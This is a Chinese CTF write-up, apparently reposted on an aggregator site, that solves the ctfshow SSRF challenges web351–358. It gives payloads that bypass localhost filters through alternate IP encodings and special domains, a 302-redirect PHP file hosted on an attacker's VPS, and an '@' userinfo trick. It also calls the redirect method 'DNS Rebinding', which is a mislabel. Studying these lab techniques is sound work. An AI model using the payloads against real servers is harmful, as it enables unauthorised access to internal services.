当前位置: 首页 > news >正文

ctfshow SSRF web351-358

web 351

接 POST 传参就行

web 352

参数是 url

$x['scheme']==='http'||$x['scheme']==='https'表示只允许用 http 和 https 协议

!preg_match('/localhost|127.0.0/')用正则匹配,表示不允许出现 localhost 和 127.0.0 的字眼

如何绕过 localhost 和 127.0.0.1 访问本地地址呢?可以用其他进制代替

本地 url=http://0.0.0.0/flag.php 十进制 url=http://2130706433/flag.php 八进制 url=http://0177.0.0.1/flag.php 十六进制 url=http://0x7f000001/flag.php 特殊域名 url=http://localtest.me/flag.php

web 353

正则匹配表示禁用 localhost 和 127.0 ; i 表示禁用大小写

🪻🪻🪻一些绕过方式

  • 可以用上道题转其他进制的方式

url=http://2130706433/flag.php

  • 127.0.0.1~127.255.255.254 都表示 localhost

url=http://127.255.255.254/flag.php

  • Linux 系统中 0 会被解析成 127.0.0.1(在 windows 系统中解析成 0.0.0.0)

url=http://0/flag.php

  • 使用 sudo.cc

url=http://sudo.cc/flag.php

web 354

web 355

限制长度<=5,那么前面的那些就不能用了 1.

可以使用127.1来绕过。

web 356

限制长度<=3

url=http://0/flag.php

web 357

题目源代码:

filter_var是 PHP 内置的数据过滤 / 验证函数,语法:

filter_var(要验证的数据, 验证规则, 额外选项)

这里它的作用是:验证$ip是否是一个合法 IP,并且是否符合额外限制

  • FILTER_VALIDATE_IP

验证规则:判断是否为合法的 IP 地址

  • FILTER_FLAG_NO_PRIV_RANGE

额外选项:拒绝私有网段 IP(如10.0.0.0/8172.16.0.0/12192.168.0.0/16

FILTER_FLAG_NO_RES_RANGE

额外选项:拒绝保留 / 回环等特殊网段 IP(如127.0.0.0/80.0.0.0/8::1等)

这是严格的白名单防护,我们要使用DNS Rebinding 攻击

  1. 在自己的 vps 上新建一个 php 文件并写入以下内容

<?php header("Location: http://127.0.0.1/flag.php", true, 302);?>

  1. POST 传入参数

url=http://自己 vps 的 IP/demo.php

web 358

preg_match('/^http:\/\/ctf\..*show$/i',$url)

  • ^匹配字符串开头
  • http:\/\/匹配 http://
  • ctf\.匹配 ctf.
  • .*匹配任意数量的任意字符
  • show$匹配 show 且必须在字符串末尾

payload:url=http://ctf.@127.0.0.1/flag.php?show

@之前的部分会被解析为用户名

http://www.jsqmd.com/news/495369/

相关文章:

  • Java毕业设计基于springboot+java家校合作平台
  • 面试必问:C++ STL 适配器
  • 2026年度GEO服务商综合实力榜单:AI时代优质服务商甄选指南 - 资讯焦点
  • 欧意APP下载安装指南(最新版教程)okxz.run复制打开
  • 《Nginx配置文件详解:从结构到参数逐一拆解》
  • 独立站网页即时聊天在线客服系统
  • 5G+物联网,零碳园区管理系统的“信息高速路”
  • MySQL数据库误删恢复_mysql 数据 误删
  • **Envoy + Go 实战:打造高性能服务网格代理的轻量级配置方案**在现代微服务
  • 将注意力旋转 90 度!今天,Kimi 的「注意力残差」火了
  • 第 10 篇 RK 平台安卓驱动实战 3:PWM 驱动开发,实现 LED 呼吸灯 + 电机调速
  • Git误操作急救:30秒拯救你的代码
  • 2026年资产盘点难题破解:智能系统+OpenClaw,零差错更省心
  • MySQL数据库(SQL分类)
  • 2026年知名的海绵吸盘品牌推荐:气动真空吸盘值得信赖的生产厂家 - 行业平台推荐
  • 《鹧鸪天·晨骑》AI润色
  • 高并发异步日志系统设计实战
  • 适配存储产业发展:2026存储行业国产芯片封装设计软件方案推荐 - 品牌2026
  • “Java面试必看!Serializable与Externalizable的差别你知道吗?”
  • 2026年靠谱的30度异型铰链公司推荐:家具异型铰链/液压异型铰链/阻尼异型铰链源头工厂推荐 - 行业平台推荐
  • 音乐喷泉博途V14与MCGS7.7触摸屏程序探索
  • RK3588部署YOLOv6全攻略
  • # 发散创新:用 Rust实现高性能事件流处理系统在现代分布式系统中,**事件
  • 2026年口碑TOP10揭晓:明装轨道灯供应商谁家强?
  • PEEK材料行业深度研究报告:人形机器人以塑代钢的核心材料
  • Spring Boot REST 接口限流实现
  • 删除了微信好友怎么恢复?5个方法
  • Java的反射性能开销与MethodHandle在热点代码中的替代方案
  • django flask+uniapp的大学生勤工助学岗位管理系统设计与实现小程序
  • 2026年靠谱的称重包装机品牌推荐:全自动称重包装机/注塑件称重包装机/精密部件称重包装机高口碑品牌推荐 - 行业平台推荐